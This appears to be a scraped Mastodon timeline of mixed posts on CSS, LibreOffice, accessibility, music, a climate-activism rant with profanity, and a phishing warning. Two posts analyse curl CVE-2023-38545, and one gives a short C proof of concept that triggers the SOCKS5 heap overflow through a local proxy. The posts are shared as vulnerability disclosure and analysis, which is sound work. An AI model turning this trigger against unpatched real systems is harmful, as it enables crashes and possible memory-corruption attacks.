text-wrap:balance has landed on the latest Firefox 🎉

This allows multiple lines of text to have their lines broken in such a way that each line is roughly the same width, often used to make headlines more readable and visually appealing.

bugzilla.mozilla.org/1731541
developer.chrome.com/blog/css-…
#CSS #Typography

Some useful guidance from the W3C #Internationalization Team on how people's names differ around the 🌍 world and the implications of those differences on the design of forms, databases and ontologies for the Web.

w3.org/International/questions…

#I18N
#L10N

On November 9-10, we will hold the IV Latin American LibreOffice Conference in the Universidad Nacional Autónoma de México. This is a very interesting opportunity to share and learn about a global project such as LibreOffice. We will be waiting for you: people interested in FLOSS, students and IT professionals, and we invite you to join us in these days and to do a lot for FLOSS technology in Latin America: latam.conference.libreoffice.o…

Released a new track yesterday called 'Deusa' (Goddess in Portuguese.) This is definitely one of my absolute favourite things to have made in a while. I imagine hearing this as you walk down the street, coming out of a restaurant, clothes or shoe shop or in someone's car on a Friday night.
Roberta Silva is a fantastic Brazilian-Portuguese singer that lives in London. I first heard her at a gig and when I told Cian (aka Bruk Rogers) about her after he wanted us to find a singer, said she'd be the absolute best fit for the job, which she is.
Listen on your music platform of choice here: truthoughts.ffm.to/degl.OTW

Aight, I wasn't going to post the extra-spicy hot wings take. But, fuck it.

Reply-guy climate activists are the most annoying out of touch people on the planet. They'll literally show up in my mentions with shit like "why don't you bicycle down the freeway to the grocery store. You can just clench your re-usable grocery bags between your ass cheeks".
"Need to go to NYC for an important meeting? Take the train....oh, the US doesn't have trains? Why don't you just build you own."

How someone can witness the entire covid pandemic and not only be like "yes, personal responsibility will for sure solve humanity's problems" but also propose nothing but the most braindead solutions imaginable is literally beyond me.

I get the frustration with the currency system, but annoying the shit out of random Mastodon users with the most garbage advice you can muster is just not it. Some of us are actually trying to make real systemic change.

in reply to Loren Kohnfelder

Investment wise, my focus is alternative energy storage. If we can move beyond lithium batteries, we may be able to see a reality in which long range vehicles become electric (the big gamechanger would be jetliners). There is also a potential that we fix the inability to store energy from powerplants, allowing there to be a bigger disconnect between where energy is produced and where it's utilized (imagine, as an overly naïve example, we could charge long lasting batteries at a renewable plant, then ship them to rural customers). I also invest in some of these quirky electric transport startups (even though they're a black hole for money) because things like e-bikes solve a very real problem for working/middle class Americans and e-VTOLs could potentially replace point-to-point helicopter charters.
Unknown parent

mastodon - Link to source

André Polykanine

What a wise man you are! Vigorously shaking your hand. I couldn't put it better. I was trying to stipulate the same thing but with smaller things: paper straws suck because they make everything you drink taste like paper glue, so a million climate activists could stand in front of me and chant in choir that I should use paper straws, my answer is simple: fuck off. "Alternative" paper towels for hands (you know, they are very common in Italy, for instance) don't really help and your hands stay dirty or wet? Again, fuck off, climate activists. I know environment is good, overusing plastic is bad and all the yada-yada. But propose *decent* alternatives.

Cooles Online-Event in Kürze! #LibreOffice Nepalesischer Lokalisation Sprint 2023:
de.blog.documentfoundation.org…

Why did the #curl #CVE202338545 vulnerability hide from static analysis tools?

The main reason for this is the type of code structure in question. In general state engines are quite difficult for static analysis tools, since as the name implies the state of the various variables depend on runtime state changes.

The code attempts to determine whether it is safe to use the provided host name for remote resolution. Since the code does not function correctly with host names longer than 255 characters, it falls back to using “socks5://” protocol (local name resolution) if the host name is longer. When the name is too long, the code forces “local name resolution” by setting “socks5_resolve_local” variable to TRUE.

Unfortunately this “socks5_resolve_local” variable isn’t stored in the “socks_state” structure as it should have been. For each state “step” the initial value for the variable is determined with:

bool socks5_resolve_local =
(conn->socks_proxy.proxytype == CURLPROXY_SOCKS5) ? TRUE : FALSE;

The INIT state then set the “socks5_resolve_local” to TRUE if the host name is too long:

/* RFC1928 chapter 5 specifies max 255 chars for domain name in packet */
if(!socks5_resolve_local && hostname_len > 255) {
infof(data, "SOCKS5: server resolving disabled for hostnames of "
"length > 255 [actual len=%zu]", hostname_len);
socks5_resolve_local = TRUE;
}

But this check is *only* done in INIT state. When the state is anything else, the initial value is used.

Now, later CONNECT_RESOLVE_REMOTE state checks if remote name resolution should be used or not:

if(!socks5_resolve_local) {
if (… sx->hostname is literal IPv6 address …) {
… use ipv6 address direct …
}
else if (… sx->hostname is literal IPv4 address …) {
… use ipv4 address direct …
}
else {
socksreq[len++] = 3;
socksreq[len++] = (char) hostname_len; /* one byte address length */
memcpy(&socksreq[len], sx->hostname, hostname_len); /* w/o NULL */
len += hostname_len;
}
}
As “socks5_resolve_local” flag is FALSE for the excessively long hostname the “socksreq” heap buffer will be overflown by the memcpy call.

There is no obvious way for the static analysis tools to determine that “socks5_resolve_local” might be set incorrectly for some of the states. Runtime #fuzzing will find this flaw quite easily, but unfortunately no fuzzing was performed for this specific functionality.

#vulnerability #staticanalysis #infosec

This entry was edited (2 years ago)

Yet another reason not to update your iOS and Watch OS yet. Early releases always seem to be full of bugs, and this one sounds horrible. At this rate, I’ll be waiting for iOS 17.2.
#Apple #iPhone PSA: Bug caused Apple Watch running watchOS 10.1 beta to drain iPhone battery 9to5mac.com/2023/10/10/bug-wat…

Aviso urbi et orbe: He recibido un supuesto "aviso" de la FNMT en el que me advierten de la proxima caducidad de mi certificado de persona fisica y en el que acompañan (comprimido en formato .rar) el supuesto cerficado proximo a caducar.
Todos los enlaces que vienen son legitimos. La estructura gramatical y la ortografia son correctas.
Pero...
A mi no me caduca ningun certificado en esa fecha.
No tiene sentido que me acompañen COMPRIMIDO el supuesto certificado que va a caducar.
No se Rick...
(yo, por si acaso, aviso)
[POST EDICION]
Comprobado: es un intento de infeccion.
This entry was edited (2 years ago)

Here’s a quick proof of concept to reproduce the #curl #CVE202338545 #heapoverflow #vulnerability. This PoC expects localhost to run a #socks5 proxy:

gcc -xc -fsanitize=address - -lcurl <<EOF
# include <curl/curl.h>
# include <string.h>
int main(void)
{
CURL *curl = curl_easy_init();
if(curl) {
char url[32768];
memcpy(url, "https://", 8);
memset(url + 8, 'A', sizeof(url) - 8 - 1);
url[sizeof(url) - 1] = '\0';
curl_easy_setopt(curl, CURLOPT_URL, url);
(void)curl_easy_perform(curl);
curl_easy_cleanup(curl);
}
return 0;
}
EOF
https_proxy=socks5h://127.0.0.1 ./a.out

Some comments:
• Application must use socks5h proxy to be vulnerable (it can be via proxy env variables or by explicitly settings the proxy options inside the app).
• Application must either fetch the attacker provided URL or follow redirects controlled by the attacker.
• Exploitation is made slightly more complicated due to this being a heap buffer overflow (many libc have built-in heap sanity checks). On modern systems with address space layout randomization (ASLR) an additional information leak is likely required for successful exploitation.
• Certain combinations of libcurl, platform and/or application options are not affected. See the advisory at curl.se/docs/CVE-2023-38545.ht… for more details.

#infosec

The Thunderbird team is a remote-first, globally distributed group, so it made perfect sense to devote an episode of our #podcast to #RemoteWork!

Join Heather, Chris, and Jason for some useful tips and tricks to make your daily remote work more enjoyable and productive.

Plus: An inside look at the upcoming Thunderbird Send service, and some geeky Raspberry Pi solutions for weather and BBQ.

Show Notes: blog.thunderbird.net/2023/09/t…

Listen at @tilvids: tilvids.com/w/w4boAz4uZpWktmSv…

#Thunderbird

Here are two videos about #GameAccessibility taken from GAConf US 2023 you might find interesting. First, a deep dive on how audio description for Mortal Kombat 1 was created, featuring @RossMinor youtu.be/tZ1H2RXuCCA?si=47mWAU…
in reply to Pitermach

And the second #GameAcccessibility video concerns some good news about the Unity game engine, which is finally getting native screen reader support (iOS and Android first). The implementation is very basic for now and only supports a handful of control types but more will be added later. youtube.com/watch?v=TGO_SkDLoJ… It's sad that this all came out right after Unity's management made some very terrible decisions, but there are still many mobile games written in Unity in the wild so this will still be very helpful. Might as well also take the time to point out other game engines are starting to work on things like this too, Bevy got desktop accessibility recently and there's someone working on it for Godot as well.

Good news for #DoctorWho fans, the launch of the Doctor Who archive on IPlayer is finally happening, according to doctorwho.tv/news-and-features…

This is also a historic event for the blind and visually impaired, as well as deaf and hard of hearing fans, because the article states: "Every episode on iPlayer from the back catalogue will be available with multiple accessibility options, including subtitles, audio description, and sign language."

Classic Who audio described to me is a dream come true, and I am sure it will be appreciated by many. Allons-y, Jelly Babies await!

reshared this

Ministr zahraničí Lipavský narychlo navštívil Izrael, setkal se se svým protějškem Kohenem
zahranicni.hn.cz/c1-67252960-m…
in reply to El Osgo

texto alternativo añadido

Fuente: instagram.com/p/BnuVZ9snyP6/

This entry was edited (2 years ago)

Frog is such a neat little Linux desktop app to extract text from images.

You can give it an image (file selector, drag & drop) or let it take a screenshot. And you can even paste an image from your clipboard!

This is great for adding alt text when posting an image or copying text (as text) from a screenshot for sharing (or adding to UI mockups, as I often do).

It also reads QR codes and supports several languages.

flathub.org/apps/com.github.te…

#Linux #desktop #app #Gnome #OCR #Flatpak #Flathub

reshared this